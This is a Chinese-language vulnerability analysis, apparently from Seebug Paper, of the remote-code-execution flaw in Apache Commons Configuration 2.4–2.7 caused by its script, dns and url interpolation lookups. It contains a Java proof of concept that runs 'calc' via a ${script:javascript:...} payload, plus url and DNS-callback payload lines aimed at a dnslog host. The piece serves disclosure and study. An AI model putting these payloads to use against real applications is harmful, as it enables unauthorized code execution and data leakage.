作者:標準云
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
漏洞簡介

Apache Commons Configuration 執行變量插值 (variable interpolation), 允許動態評估和擴展屬性。插值的標準格式是"${prefix:name}",其中 "prefix" 用于查找定位執行插值 org.apache.commons.configuration2.interpol.Lookup 的實例。從 2.4 版到 2.7 版,默認的 Lookup 實例集包括可能導致任意代碼執行或與遠程服務器聯系的插值器。
- "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 腳本執行引擎(javax.script)執行表達式
- "dns" - resolve dns records 解析 dns 記錄
- "url" - load values from urls, including from remote servers 從 url 加載值,包括從遠程服務加載值
如果使用了不受信任的配置值,則在受影響版本中使用插值默認值的應用程序可能受到遠程代碼執行的影響。
漏洞復現
創建一個 maven 項目 添加依賴
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
</dependencies>
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class ConfigurationDemo {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()).withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create();
// 創建 ConfigurationInterpolator 實例
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
// 解析包含占位符的字符串
System.out.printf("script: %s",interpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));
}
}

漏洞分析
畫出一整個的調試過程

通過 ConfigurationInterpolator.interpolate() 方法解析出 表達式的值
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class Demo {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
System.out.printf("%s", interpolator.interpolate("${env:Path}"));
}
}

漏洞調試
org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate
?
首先會調用 looksLikeSingleVariable 判斷是否符合表達式的格式
org.apache.commons.configuration2.interpol.ConfigurationInterpolator#looksLikeSingleVariable
?
接著利用 resolveSingleVariable 對表達式進行處理
org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolveSingleVariable

調用 extractVariableName 去除 ${}
org.apache.commons.configuration2.interpol.ConfigurationInterpolator#extractVariableName

接著調用 resolve 對表達式進行處理
org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve

首先是根據 : 將字符串分割,然后先利用 fetchLookupForPrefix 取出 lookup 的對象
org.apache.commons.configuration2.interpol.ConfigurationInterpolator#fetchLookupForPrefix

org.apache.commons.configuration2.interpol.StringLookupAdapter#lookup

org.apache.commons.text.lookup.ScriptStringLookup#lookup

再次將表達式根據 : 分割開來

javax.script.AbstractScriptEngine#eval(java.lang.String)

根據漏洞簡介中 dns 和 url 都屬于危險的插值器
System.out.printf("script: %s",interpolator.interpolate("${url:http:http://127.0.0.1:8080/}"));

System.out.printf("script: %s",interpolator.interpolate("${dns:whoami.4ey83g.dnslog.cn}"));

漏洞修復
移除了三個危險的插值器 script 、 dns 和 url



本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1994/
暫無評論